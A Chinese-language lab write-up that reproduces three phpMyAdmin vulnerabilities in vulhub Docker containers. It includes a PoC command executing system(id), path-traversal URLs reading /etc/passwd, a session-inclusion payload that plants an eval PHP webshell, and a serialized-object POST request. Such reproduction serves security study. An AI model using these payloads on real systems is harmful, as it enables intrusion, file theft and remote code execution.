phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
一 漏洞描述
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace
函数第一个参数中。
在PHP5.4.7以前,preg_replace
的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
受影响版本
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
┌──(root💀kali)-[/vulhub-master/phpmyadmin/CVE-2016-5734]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:port,账号密码:root
因为目标环境使用root,所以我们可以创建一个临时数据库和数据表,进行漏洞利用。POChttps://www.exploit-db.com/exploits/40185来复现漏洞。
./cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://192.168.1.240:8080/
-d是已经可以写的数据库,-c是待执行的PHP语句,如果没有指定表名,这个POC会创建一个名为prgpwn
的表。
四 参考链接
https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2016-5734/README.zh-cn.md
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
一 漏洞描述
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/phpmyadmin/CVE-2018-12613]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:端口,进入phpmyadmin 配置的是“config”模式,所以无需输入密码,直接登录test账户
访问http://your-ip:8080/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在:
查询语句select ‘<?phpinfo()?>’,在f12界面查找数据包中cookie中phpmyadmin的值,包含在session中访问
访问http://192.168.1.240:8080/index.php?target=db_sql.php?/…/…/…/…/…/…/…/…/tmp/sess_f4a978116bc78bbc4f935a1f4793466c
通过查询语句phpinfo查看web路径
构造payload,并访问http://192.168.1.240:8080/index.php?target=db_sql.php?/…/…/…/…/…/…/…/…/tmp/sess_f4a978116bc78bbc4f935a1f4793466c
select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[bq]);?>')?>"
蚁剑连接
四 参考链接
https://blog.csdn.net/weixin_51387754/article/details/121761923
https://blog.csdn.net/weixin_44037296/article/details/111039461
phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)
一 漏洞描述
phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
受影响版本
phpmyadmin 2.x
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/phpmyadmin/WooYun-2016-199433]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:端口
抓取并修改数据包,可以读取/etc/passwd内容(修改url和添加Content-Type)
POST /scripts/setup.php HTTP/1.1
Host: 192.168.1.240:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */* text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en
Cookie: pma_collation_connection=utf8_unicode_ci; pma_lang=en; pma_console_height=92; pma_console_config=%7B%22alwaysExpand%22%3Afalse%2C%22startHistory%22%3Afalse%2C%22currentQuery%22%3Atrue%7D; pma_console_mode=collapse; pma_iv-1=AvOYs%2F3TaCN2dEXoumshfQ%3D%3D; pmaUser-1=vdAOIQIwDWh0pDg9vXC1rQ%3D%3D; pmaPass-1=p2lFovkjDZt3nxLhB1NL%2Bw%3D%3D; phpMyAdmin=f4a978116bc78bbc4f935a1f4793466c; auto_saved_sql_sort=
Connection: close
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
application/x-www-form-urlencoded:是一种编码格式,窗体数据被编码为名称/值对,是标准的编码格式。
当action为get时候,浏览器用x-www-form-urlencoded的编码方式把form数据转换成一个字串(name1=value1&name2=value2…),然后把这个字串append到url后面,用?分割,加载这个新的url。 当action为post时候,浏览器把form数据封装到http body中,然后发送到server。
四 参考链接
https://github.com/vulhub/vulhub/blob/master/phpmyadmin/WooYun-2016-199433/README.zh-cn.md